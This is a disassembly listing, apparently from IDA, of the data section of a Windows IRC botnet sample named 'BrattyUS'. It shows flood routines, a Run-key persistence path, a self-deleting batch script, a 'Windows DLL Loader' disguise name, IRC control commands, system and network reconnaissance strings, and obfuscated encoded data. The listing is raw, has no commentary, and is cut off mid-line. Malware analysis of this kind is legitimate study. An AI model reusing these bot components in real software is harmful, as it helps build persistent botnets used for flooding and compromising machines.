aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 0C6AEB58Eh, 0A6BBB6FEh, 93D8D8A7h, 0E3h, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; BrattyUS:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset dword_418D98 dd offset dword_418DA8 dd offset dword_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset loc_418C9C dd offset aKZdzvlUU ; "Γ" dd offset aKZdJssgEudaFts ; "葃ԥÔ☘" dd offset dword_418C5C dd offset aKZdJssgEudaFts ; "葃ԥÔ☘" dd offset dword_418C4C dd offset aIdbLsRLtuiGiXu ; "۶Ë➉塀Ŝ" dd offset byte_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 9ABAABB4h, 0AEBBA7A7h, 98FFD6B6h, 0C89BB2E3h, 0ADF9B69Ch ; DATA XREF: BrattyUS:00418BE4o dd 0A7B8A4B0h, 0C493B0h, 0 byte_418C10 db 90h ; DATA XREF: BrattyUS:00418BE0o db 0A7h, 0A1h, 98h dd 0ADA6BBA4h, 93CE93ECh, 2 dup(0) aIdbLsRLtuiGiXu db '۶Ë➉塀Ŝ',0 ; DATA XREF: BrattyUS:00418BDCo align 4 dd 0 dword_418C4C dd 9BBEAE98h, 0ADACB1E6h, 2 dup(0) ; DATA XREF: BrattyUS:00418BD8o dword_418C5C dd 87B6B28Ah, 0E6A2A781h, 0D38EA7h, 0 ; DATA XREF: BrattyUS:00418BD0o aKZdJssgEudaFts db '葃ԥÔ☘',0 ; DATA XREF: BrattyUS:00418BCCo ; BrattyUS:00418BD4o align 8 aKZdzvlUU db 'Γ',0 ; DATA XREF: BrattyUS:00418BC8o align 4 dd 0 ; --------------------------------------------------------------------------- loc_418C9C: ; DATA XREF: BrattyUS:00418BC4o scasb stosd mov bh, 8Ch cmpsd mov ds:938CE8A7h, eax retn 0F881h ; --------------------------------------------------------------------------- db 0A5h, 82h, 86h dd 8DABABBFh, 0A4B8B5BFh, 2 dup(0) dword_418CBC dd 8DABAB9Fh, 0A4B8B5BFh, 93CE93ECh, 2 dup(0) ; DATA XREF: BrattyUS:00418BC0o dword_418CD0 dd 89B7ABAEh, 89F4A4A5h, 82D893A5h, 2 dup(0) ; DATA XREF: BrattyUS:00418BBCo dword_418CE4 dd 89B7AB8Eh, 0ADFAA4A5h, 93BAh, 0 ; DATA XREF: BrattyUS:00418BB8o dword_418CF4 dd 8CB7ABAEh, 0E8A7A3A7h, 9AC68E87h, 0D48CA5F8h, 2 dup(0) ; DATA XREF: BrattyUS:00418BB4o dword_418D0C dd 84A9BA9Ch, 0BAB1A6A7h, 93CE93ECh, 2 dup(0) ; DATA XREF: BrattyUS:00418BB0o dword_418D20 dd 0A1B7AB8Eh, 0A6BBB3A7h, 93CE93ECh, 2 dup(0) ; DATA XREF: BrattyUS:00418BA8o dword_418D34 dd 8CB7ABAEh, 0E8A7A3A7h, 99D1998Eh, 0D6A8F7F9h, 8BB0AE89h ; DATA XREF: BrattyUS:00418BA4o ; BrattyUS:00418BACo dd 0A7BDA0A9h, 0ACh, 0 dword_418D54 dd 87BEAD95h, 0B0B1FAA6h, 0A7h, 0 ; DATA XREF: BrattyUS:00418BA0o dword_418D64 dd 8DB0AEBAh, 9BF4A0A6h, 93C084A7h, 0D3BBF7E5h, 85B0B697h ; DATA XREF: BrattyUS:00418B9Co dd 0BA84F4ADh, 85D395ADh, 0E4h, 0 dword_418D88 dd 9BABB19Ah, 0ADACB1E6h, 2 dup(0) ; DATA XREF: BrattyUS:00418B98o dword_418D98 dd 9BB8B1B0h, 0B0B1FABBh, 0A7h, 0 ; DATA XREF: BrattyUS:00418B90o dword_418DA8 dd 89BAADB5h, 0AD87F4A4h, 9FC483A1h, 0E7C9AEE3h, 87B1B68Ch ; DATA XREF: BrattyUS:off_418B8Co ; BrattyUS:00418B94o dd 0B1A0BDBAh, 84D3A5E2h, 0C38ABEE1h, 2 dup(0) dword_418DD0 dd 89AAB195h, 0B0B1FABBh, 0A7h, 0 ; DATA XREF: BrattyUS:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 0C6B7B194h, 0B9BBABh, 0 ; DATA XREF: sub_408887+6o dword_418F6C dd 0C6AEB58Eh, 0BAA6B1BCh, 99D5D8A3h, 0D48BF9FAh, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 0C6B7B194h, 0B1ACh, 0 ; DATA XREF: sub_408887+22o dword_418F90 dd 85ACA39Dh, 0BCB1BAE6h, 2 dup(0) ; DATA XREF: sub_408887+30o dword_418FA0 dd 8FB6AD9Eh, 0A9FAB1A4h, 0A7h, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 8DB7AB97h, 0E6BAA7A5h, 0D8DB99A1h, 0A2F6h, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 86AEAD9Dh, 0ACB5BBA4h, 9BD791ECh, 0DFC7A4F2h, 87B6AA98h ; DATA XREF: BrattyUS:00418FD8o dd 0A5BBB7E6h, 9BD791EDh, 0C2C6A4F2h, 84B7B596h, 0E7B0B5A7h dd 98D19FB1h, 0D6C6B3F2h, 89BAB296h, 0A9ADFBB8h, 0A9D999AAh dd 0C383B2F5h, 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0C391B2B9h dd 2 dup(0) dword_41903C dd 8FF7B18Ch, 0BBB1B9A9h, 9FCFD8F3h, 0C5C7B0FAh, 0AF96h ; DATA XREF: BrattyUS:00418FD4o dd 0 dword_419054 dd 86AEAD9Dh, 0ACB5BBA4h, 0C799C5EDh, 95C6B1B8h, 0D9EDA4C8h ; DATA XREF: BrattyUS:00418FD0o dd 0E5E3E6FCh, 9382C6FAh, 0C0D1E3BAh, 8BE1EFC0h, 0FDF9ECF9h dd 0CFD2C7A3h, 9EDCB5A4h, 0C7BCF1CCh, 0BBB5A7A5h, 0D8D598BBh dd 8CAFF2h, 0 dword_419098 dd 86AEAD9Dh, 0ACB5BBA4h, 95DF9BECh, 0C99AB8E5h, 8BF7B69Fh ; DATA XREF: BrattyUS:00418FCCo dd 0B9A7h, 0 dword_4190B4 dd 89ADA39Dh, 0E7BAB1E7h, 0D9D19FA0h, 0D49BA2F4h, 0C7ADAC9Ch ; DATA XREF: BrattyUS:off_418FC8o dd 0AFBBBB8Fh, 99E293AEh, 0C78BBBF8h, 9BB78B8Bh, 0A4B8B5BCh dd 939884A7h, 0B2EFh, 0 dword_4190E8 dd 84B6AD8Dh, 0E6A6B5AAh, 91D999A5h, 0C5C7B2FBh, 0AF96h ; DATA XREF: BrattyUS:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 81B6AA8Eh, 0BAB5FABBh, 989898ABh, 0A3F2h, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 29F60h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 3351E90h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 3290h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 2C45458h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 51F0B7A1h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 26C8CE80h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 26B60h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 2C684E80h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 2C558h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 29E403A0h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 17408308h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 172A8h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 0B2ECE0h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 465F10ECh ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 11BA18h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 16A18h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0E3E403A8h ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 546C2A8h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 4618h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 0A42278h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 2A860h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 56EC267Eh ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 137128h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 23901E20h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 15E10h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 0A2C60h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 74A60h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 159790h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 0D5919B11h ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 5136F8h ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 221F8h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 50C1B50h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 2C338h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 0B04290h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 14FE20h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 11AA88h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 146288h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 4729D50h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 56EB58h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 5F3750h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 423C479Ah ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 23410B60h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 9815D395h ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 4698D60h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 10DA78h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 77400328h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 512EA0h ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 20EA0h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 65782209h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 109E96E7h ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 0A4053CD8h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 162208h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 0C17A208h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 4CF2208h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 